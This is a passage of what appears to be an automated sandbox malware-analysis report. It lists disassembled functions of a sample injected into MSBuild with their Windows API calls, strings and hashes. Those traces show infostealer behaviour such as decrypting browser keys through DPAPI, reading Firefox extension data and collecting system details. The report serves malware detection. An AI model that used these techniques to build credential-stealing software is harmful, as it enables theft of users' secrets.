Function 0041BD6B Relevance: 7.6, APIs: 5, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,763374F0,?,0041CD38,?,0041CDC6,00000000,06400000,00000003,00000000,004176C9,.exe,00436C5C), ref: 0041BDB8
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,763374F0,?,0041CD38,?,0041CDC6,00000000,06400000,00000003,00000000), ref: 0041BDF0

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction ID: a7fcab5fc76b215fc153f0a7a8fa390ecf3d52f3273933f240fd58eae568e075
Opcode Fuzzy Hash: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction Fuzzy Hash: C83143B0544B04DFDB348F259884BE77AE8EB14358F108A2FE2D686681D73998C4DB99

Function 6CA7C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CA7C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CA7C969
GetSystemInfo.KERNEL32(?), ref: 6CA7C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CA7C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CA7C9E2

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 979c81ae029a9f6d80c315e6b282edb2abe08e20c47fddf61252150fd2003764
Instruction ID: fbf43c1303c379c04e1527a57e21231a87513eb7241c92971a542dc7bda09e67
Opcode Fuzzy Hash: 979c81ae029a9f6d80c315e6b282edb2abe08e20c47fddf61252150fd2003764
Instruction Fuzzy Hash: DD212F357413156BD7989A68DC88BAE77B9FF4A708F50411DF90397640DB705C4487E4

Function 00404AB6 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction ID: f1c5382da97c9dd65e4db87c3c806c9c9b4e03b01775002e3606c6f6cd357758
Opcode Fuzzy Hash: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction Fuzzy Hash: E9011B72D00218ABDF149BA9DC45ADEBFB8AF55330F10821AF925F72E0DB745A058B94

Function 00410F51 Relevance: 7.5, APIs: 5, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6
RegCloseKey.ADVAPI32(00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410FAF

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction ID: 198c8e352812e869def4411d780e2caea40c147a773264a459f6a712475eeb20
Opcode Fuzzy Hash: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction Fuzzy Hash: C9F03075640304FBEF148B90DC0AFAE7B7EEB44706F141094F601A51A0E7B29B509B60

Function 004083D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,0040DB0A), ref: 004083F2

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

SetEnvironmentVariableA.KERNEL32(?,00437194,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004367C3,?,?,?,?,?,?,?,?,0040DB0A), ref: 00408447
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040DB0A), ref: 0040845B

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004083E6, 004083EB, 00408405

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: c9438e9efdc411056bb324c4e7a53eb82b475557c180a79d7391348954785ef6
Instruction ID: 1d1035b7872eafe5bc2acfcfd9c5443481a9431a5cd399c5b03dff48eed801cb
Opcode Fuzzy Hash: c9438e9efdc411056bb324c4e7a53eb82b475557c180a79d7391348954785ef6
Instruction Fuzzy Hash: 20315C71940714ABCF16EF2AED0245D7BA2AB48706F10607BF440B72B0DB7A1A81CF89

Function 00416F10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00416F17
lstrlenA.KERNEL32(?,0000001C), ref: 00416F22
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416FA6

Strings

ERROR, xrefs: 00416F9E

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: 5df342e5ce7991606f82030ed0288162f1ba7e06292a00205ee6cf4239b7dc2e
Instruction ID: 2f753fbedd6edd9add26d66ee806573d4ec80faf577aa57932e8683d1d50e8eb
Opcode Fuzzy Hash: 5df342e5ce7991606f82030ed0288162f1ba7e06292a00205ee6cf4239b7dc2e
Instruction Fuzzy Hash: C1117F71900509AFCB40FF75D9025DDBBB1BF04308B90413AE814E3591D779EAA98FC9

Function 0041224A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
CloseHandle.KERNEL32(00000000), ref: 0041228E

Strings

=A, xrefs: 0041225D, 00412262

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: =A
API String ID: 3183270410-2399317284
Opcode ID: 2d231bb5f38b7fa9e5575f049525cd82efefcd3b68c49e3a876efc8642afa260
Instruction ID: 442fa9873dc7f002770bdea40ee9cbaac768a1cc74092784d496e615125a3bbb
Opcode Fuzzy Hash: 2d231bb5f38b7fa9e5575f049525cd82efefcd3b68c49e3a876efc8642afa260
Instruction Fuzzy Hash: C0F0B471600218ABDB24EB68DC45FEE77BC9B44B08F0000AAF645D7180EEF5DAC58B54

Function 0040B332 Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040B3D7
lstrlenA.KERNEL32(?), ref: 0040B529
lstrlenA.KERNEL32(?), ref: 0040B544
DeleteFileA.KERNEL32(?), ref: 0040B596

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: b2206d7d63c9dcb6483526cc2e162feb03a43f6f5618b9a680cd6504c01f903d
Instruction ID: 3ac67bacb23cfafef8ec4b18c91a377dc84dfc0a90e8c2d294636718f87bc104
Opcode Fuzzy Hash: b2206d7d63c9dcb6483526cc2e162feb03a43f6f5618b9a680cd6504c01f903d
Instruction Fuzzy Hash: A9714172A00119ABCF01FBA5EE468CD7775EF14309F114036F500B71A1DBB9AE898B98

Function 0040D40E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

StrStrA.SHLWAPI(00000000,?,00437538,0043688A), ref: 0040D49F
lstrlenA.KERNEL32(?), ref: 0040D4B2

Strings

^userContextId=4294967295, xrefs: 0040D4D7
moz-extension+++, xrefs: 0040D4DD

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: 9de3d4f2ade7e506e594aab70579bc2bba13583e8ea31f094f99cbade3e40752
Instruction ID: 85de75ec200c89e9111d7c6d064248f53d90c55406061a5cb20e0ca06024b096
Opcode Fuzzy Hash: 9de3d4f2ade7e506e594aab70579bc2bba13583e8ea31f094f99cbade3e40752
Instruction Fuzzy Hash: 15410B76A001199BCF10FBA6DD465CD77B5AF04308F51003AFD00B3192DBB8AE4D8AE9

Function 0040819F Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Part of subcall function 004080A1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
Part of subcall function 004080A1: LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
Part of subcall function 004080A1: LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

"encrypted_key":", xrefs: 004081DF
, xrefs: 00408241
DPAPI, xrefs: 0040821B

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: 75b09fb6843d11733487f2fe8623a7e48bcee3b732967fadeacf39100c047c73
Instruction ID: d78dfd73ee8100a23edce15a91f2c70fa2f38e8288fa49592993377d3a11e596
Opcode Fuzzy Hash: 75b09fb6843d11733487f2fe8623a7e48bcee3b732967fadeacf39100c047c73
Instruction Fuzzy Hash: 1121C232E40209ABDF14EB91DD41ADE7378AF41364F2045BFE950B72D1DF38AA49CA58

Function 0041683E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

Strings

ERROR, xrefs: 00416896
ERROR, xrefs: 0041686B

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: 9d6bef6e96ced807ab468dc8993a52d9f0373e1b25ae8473017438b8018234a9
